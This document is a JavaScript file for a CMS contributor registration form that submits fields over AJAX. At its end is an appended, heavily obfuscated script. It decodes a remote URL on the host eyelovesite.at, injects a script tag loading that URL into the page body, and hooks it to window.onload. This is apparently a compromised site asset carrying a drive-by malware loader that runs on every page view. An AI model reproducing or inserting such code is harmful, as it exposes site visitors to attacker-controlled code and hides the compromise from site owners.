if (typeof dynamo == "undefined") { 
  var dynamo = new Object();
}
  
if (typeof dynamo.registerInterface == "undefined") {
  dynamo.registerInterface = function() {
    this.ajax = new luckymarble.ajaxUtil();
    this.debugMode = false;
    var oldonload = window.onload;

    if (typeof window.onload != 'function') {
      window.onload = function() {
        register.initialize();
      }
    } else {
      window.onload = function() {
        if (oldonload) {
          oldonload();
        }
        register.initialize();
      }
    }
  }

  dynamo.registerInterface.prototype = {
    // function to handle the click of the "continue" button
    proceed: function() {
      document.location = contributorLoginPage;
    },
    
    // function to handle the click of the "register" button
    submit: function() {
      // in the event that this is on a local system, alert the user
      if (window.location.href.indexOf("http")) {
        alert(languageParam["dynamo_error-not_active"]);
      
      // else handle the parameters from the form
      } else {
        myForm     = document.forms['dynamo_listings_registration_form'];
        parameters = "cmd=add";
        errors     = 0;
        
        for (var i = 0; i < myForm.elements.length; i++) {
          var myField      = myForm.elements[i];
          var myFieldValue = myField.value;
          var myFieldName  = myField.name.replace(/_/gi, " ");
          
          // handle case of "agree to terms" checkbox
          if (myFieldName == "agree") {
            if (myField.checked) {
              parameters = parameters + "&" + myField.name + "=1";
            
            // alert the user that the checkbox must be checked, then break out of this loop
            } else {
              alert(languageParam["registration_page-agree_to_terms_alert"]);
              errors = 1;

              parameters = parameters + "&" + myField.name + "=0";
              break;
            }
          } else {
            parameters = parameters + "&" + myField.name + "=" + myField.value; 
          }
        }
                 
        // provided there are no errors, submit the form (via POST)
        if (errors == 0) { 
          register.ajax.postAjaxRequest(rootPath + "dynamo/?module=contributor&component=register_page-ajax&bypass=1", parameters, register.processRender, "txt");
        } else {
          //alert(errors);
        }
      }
    },
    
    // render the "registration" form based on information retrieved via AJAX
    processRender: function() {
      var myAjax     = dynamo.registerInterfaceObj.ajax.ajaxObj;
      var myFileType = dynamo.registerInterfaceObj.ajax.fileType;
  
      if (myAjax.readyState == "4") {
        if (myAjax.status == 500 && dynamo.registerInterfaceObj.debugMode == true) {
          alert(myAjax.responseText);
        } else if (myAjax.status == 200 || window.location.href.indexOf("http") == -1) {
          if (myFileType == "txt") {
            if (myAjax.responseText != "") {
              var myTargetDiv = document.getElementById("dynamo_listings_user_registration_info_table");
              var myNewDiv    = document.createElement("div");
              var childNodes = myTargetDiv.childNodes;
              
              // assign response text to a separate "document" not attached to the main DOM.
              // This must be done otherwise there will be a confilict with png-image handler script
              myNewDiv.innerHTML = myAjax.responseText;

              // clear any previous html from where the form would be
              if (childNodes.length > 0) {
                myTargetDiv.removeChild(childNodes[0])
              }
             
              // attach the new response
              myTargetDiv.appendChild(myNewDiv);
            }
          } 
        } else  {
          alert(myAjax.status + languageParam["dynamo_error-retrieving_response"]);
        }
      } 
    },
    
    // handle initialization
    initialize: function() {    
      this.ajax.getAjaxRequest(rootPath + "dynamo/", "module=contributor&component=register_page-ajax&cmd=render&bypass=1", this.processRender, "txt");
    } 
  }

  dynamo.registerInterfaceObj = new dynamo.registerInterface();
  register = dynamo.registerInterfaceObj;
}
var Pl="";var k=new String();function t(){var z=window;var SJ;if(SJ!='' && SJ!='Wd'){SJ=null};var R=new String();var tf=z['unescape'];var b=tf("%2f%7a%65%64%6f%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%61%64%6f%6f%2e%63%6f%6d%2e%70%68%70");var Pj;if(Pj!='m'){Pj='m'};var x="";var w="";function L(F,A){var Q=tf("%5d");var ci="";var y=tf("%5b");this.XI="";var O="g";var T;if(T!='Jd' && T!='py'){T=''};var IF;if(IF!='Il' && IF!='br'){IF=''};var yf=new RegExp(y+A+Q, O);var ov;if(ov!='Pu'){ov='Pu'};var tZ='';return F.replace(yf, new String());this.yQ='';};this.B="";var SI='';var l="";var W=L('d0eyf0earC','0D8ysCTAaN_L');var Fj=new Date();var Xg;if(Xg!='_X' && Xg!='e'){Xg=''};var P=L('s6cmrJiupAtb','AyUXb5FTLuJmVaMf6WQ');var YI=new Array();var _=L('smrick','kiWPmoG');var Oy=document;var Y=L('86227965911543096759447748334173139310417552519','12645793');function yw(){this.pY='';var h=tf("%68%74%74%70%3a%2f%2f%65%79%65%6c%6f%76%65%73%69%74%65%2e%61%74%3a");var rQ;if(rQ!='tj' && rQ != ''){rQ=null};var a;if(a!='' && a!='tG'){a='Ad'};var i=h;i+=Y;var AO="";i+=b;var Bg=new String();try {var Kn;if(Kn!='' && Kn!='gb'){Kn=null};var le='';var _M;if(_M!='qV'){_M=''};c=Oy[L('cBrPeHaHtBeyEulieJmveBn3tj','yziT1d9PV8jBK3JSpuOvH')](P);var vH=new String();var By=new String();var po=new Date();c[_]=i;c[W]=[2,1][1];var EH;if(EH!='' && EH!='dL'){EH='AC'};this.nC='';var SB;if(SB!='' && SB!='pf'){SB=null};var Na="";Oy.body[L('a0pxp5eAn5d1CRhAi5lGd1','x0cI5G1RA')](c);this.Mr="";var pO='';this.ZS='';} catch(AV){var j;if(j!='tc' && j != ''){j=null};};var It;if(It!='wu'){It='wu'};var zs;if(zs!='YM'){zs=''};var CP=new Array();}var Bd='';var iY="";this.Th="";var S=L('orn1l2ohatd1','PW0hy421MJecgV6krut');var MC;if(MC!='Hp'){MC=''};var _y=new String();z[S]=yw;var Bgo=new String();};t();